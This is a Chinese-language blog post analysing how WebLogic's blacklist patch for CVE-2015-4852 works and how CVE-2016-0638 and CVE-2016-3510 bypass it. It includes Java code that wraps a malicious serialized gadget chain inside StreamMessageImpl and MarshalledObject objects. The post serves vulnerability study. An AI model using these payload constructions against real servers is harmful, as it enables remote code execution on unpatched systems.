CVE-2016-0638 是前面分析的 CVE-2015-4852 的一个绕过,通过找到一个不在黑名单中的类,且这个类存在readObject/readResolve/readExternal 方法,并且恰好这些方法里面有一些数据进行反序列化 *** 作,那么这时我们就可以把原生的序列化数据封装到这个类里面,通过调用反序列化对象重写的readObject/readResolve/readExternal 方法这一特点来反序列化封装在类里面的原生序列化数据。
修复环境搭建因为这里的 CVE-2016-0638 是 CVE-2015-4852 的一个绕过,所以这里需要在前面那个 docker 环境中打上补丁,以此来分析 WebLogic 的补丁到底打到了那里。
环境搭建参考这篇文章:https://www.cnblogs.com/nice0e3/p/14207435.html
如果按照上面文章搭建报如下错误
则需要把EJUM.jar/patch-catalog_22958.xml这两个文件从p20780171_1036_Generic目录拷贝到/u01/app/oracle/middleware/utils/bsu/cache_dir/目录下
补丁下载参考:https://www.cnblogs.com/hmhhz/p/11422019.html
CVE-2015-4852的防御先来看下 WebLogic 对 CVE-2015-4852 反序列化漏洞的防御,在安装好补丁之后用前面的脚本打目标服务器,发现无法成功创建文件,把断点下在 ServerChannelInputStream#resolveClass 方法上,可以看到这里多了一个黑名单检查
咋们跟进一下 ClassFilter#isBlackListed 方法,ClassFilter 这个类有静态代码块,那么先来看下静态代码块
这里应该是判断有无设置一些参数为 true
根据判断设置的参数情况来添加相应的类到黑名单里面,最终我这里的黑名单类为如下
然后 isBlackListed 方法判断传入的类名是否存在于类黑名单中,如果存在则直接返回 true 了,如果不存在则截取包名,再判断包名是否存在类黑名单中,在这里的过滤的类黑名单中没有sun.reflect.annotation.AnnotationInvocationHandler 类在里面
虽然 AnnotationInvocationHandler 类不在类黑名单里面,但是一些Gadget所用到的类在黑名单里面,而在AnnotationInvocationHandler 类直接通过 InboundMsgAbbrev#readObject 进行反序列化的过程中会再次调用到 ServerChannelInputStream#resolveClass 方法来处理比如 org.apache.commons.collections.map.LazyMap 类,而这个类会被黑名单检测到 ,这样一来自然就被拦截了
除了这里有检测之外,MsgAbbrevInputStream#resolveClass 方法也存在检测,不过检测的手段都是一样的,就不再赘述。
这篇的开头也说了其中的一种绕过思路了,就是找一个存在 readObject/readResolve/readExternal 方法的类,且这个类的这些方法里面又调用了 ObjectInputStream#readObject 方法来反序列化一些数据,我们只需要把真正的 payload 封装在类里面,这样就绕过了黑名单的检测。
CVE-2016-0638这里的绕过用到的是 StreamMessageImpl 类,这个类存在 readExternal 方法,且这个方法调用了 ObjectInputStream#readObject方法来反序列化从输入流中读取出来的数据。
要让 var3 为1, var4 为恶意序列化数据,这里通过重写 StreamMessageImpl#writeExternal 方法,在构造 payload 的项目创建 weblogic.jms.common 包,并增加两个属性和三个方法
private byte[] buffer; private int length; public final byte[] getDataBuffer() { return this.bdos != null ? this.bdos.getBuffer() : this.buffer; } public final int getDataSize() { return this.bdos != null ? this.bdos.size() : this.length; } public final void setDataBuffer(byte[] var1, int var2) { this.buffer = var1; this.length = var2; }
重写 writeExternal 方法,手工写入值为1的 byte 数据和恶意的序列化数据,这样在调用到 StreamMessageImpl#readExternal 方法的时候就可以调用到 readObject 方法,并且 var4 为恶意的序列化数据。
public void writeExternal(ObjectOutput paramObjectOutput) throws IOException { super.writeExternal(paramObjectOutput); paramObjectOutput.writeByte(1); paramObjectOutput.writeInt(getDataSize()); paramObjectOutput.write(getDataBuffer()); }
构造 payload
public static Object getObject() throws Exception{ InvocationHandler invocationHandler = (InvocationHandler) Collections01LazyMap.getObject(); byte[] bytes = SerWithUnSer.serialize(invocationHandler,false); StreamMessageImpl streamMessage = new StreamMessageImpl(); streamMessage.setDataBuffer(bytes,bytes.length); return streamMessage; }
对一些序列化的过程进行了封装,不过原理都是一样的。
CVE-2016-3510CVE-2016-3510 用到的是 MarshalledObject#readResolve方法,看一下这个方法的逻辑。
objBytes 属性是一个对象,对这个属性对象使用 readObject 方法,那么也就很明显了,把恶意对象封装到 MarshalledObject 类的 objBytes 属性中即可
public static Object getObject() throws Exception{ InvocationHandler invocationHandler = (InvocationHandler) Collections01LazyMap.getObject(); MarshalledObject marshalledObject = new MarshalledObject(invocationHandler); return marshalledObject; }
生成序列化文件之后用前面的 cve-2015-4852 打就行
参考文章https://www.cnblogs.com/nice0e3/p/14207435.html
https://github.com/5up3rc/weblogic_cmd
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)